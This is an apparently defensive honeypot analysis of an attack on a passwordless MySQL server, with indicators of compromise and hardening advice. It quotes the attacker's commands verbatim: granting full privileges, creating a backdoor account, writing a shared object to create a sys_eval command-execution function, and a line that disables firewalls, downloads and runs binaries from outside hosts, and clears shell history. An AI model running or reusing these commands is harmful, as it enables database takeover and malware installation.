We had a mysql honeypot getting hit hard with this "exploit" recently. I am enclosing the word "exploit" in quotes as the MySQL server was configured to allow logging in without password.

Here are some of the highlights of what happened after the attacker logged in.

First, the attacker makes sure that the "root" user has all possible privileges:

GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES

Next, a "backdoor" account, mysqld, is added. Interestingly, this is done first by inserting the user into the "mysql.user" table, then again using the create user and grant command.

insert into mysql.user(Host,User,Password) values("%","mysqld",password("654321*a")); CREATE USER 'mysqld'@'%' IDENTIFIED BY '654321*a'; GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'mysqld'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;

Next, the attacker is degrading the security of our mysql install further, but allowing stored functioned to write data to binary logs:

set global log_bin_trust_function_creators=1

Of course, we may already be infected, so the attacker cleans up prior copies of the malicious code

DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
DROP FUNCTION IF EXISTS sys_get
DROP FUNCTION IF EXISTS sys_set
DROP FUNCTION IF EXISTS sys_exec

Then, a set of files is written to "/usr/lib/mysql/plubin". This directory *should* be write protected to the mysql user, so this should not work in most installs.

select unhex('7F454C4602010100...000000') into dumpfile '/usr/lib/mysql/plugin/XXSIlX.so'

In case MySQL is properly configured, the same file is also written to /usr/lib/mysql and other locations. Then, the ".so" file (an ELF binary) is used to create a function.

CREATE FUNCTION sys_eval RETURNS string SONAME 'XXSIlX.so'

It turns out tht this function is essentially an "exec" that allows executing arbitrary system commands. The attacker will now use it to download additional code (I code errors trying to download the code now). Note that the code is downloaded from web servers that listen on various high ports, not port 80.

select sys_eval('/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cp /usr/bin/wget .;chmod +x wget;./wget -P ./dbms_temp http://game918.me:2545/websevrer;chmod 0755 ./dbms_temp/websevrer;./dbms_temp/websevrer;./wget -P ./db_temp http://222.186.15.76:58964/Tyrantudp;chmod 0755 ./db_temp/Tyrantudp;./db_temp/Tyrantudp;rm -rf wget;history -c;')

Probably the best "indicator of compromise" is the existence of the mysqld user. This user appears to be common to all the attempts I have seen recently. The file names for the .so files change. Also auditing functions that exist on your MySQL server will help. And PLEASE: Do not expose port 3306 on the internet and set a strong password or use certificates to authenticate.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn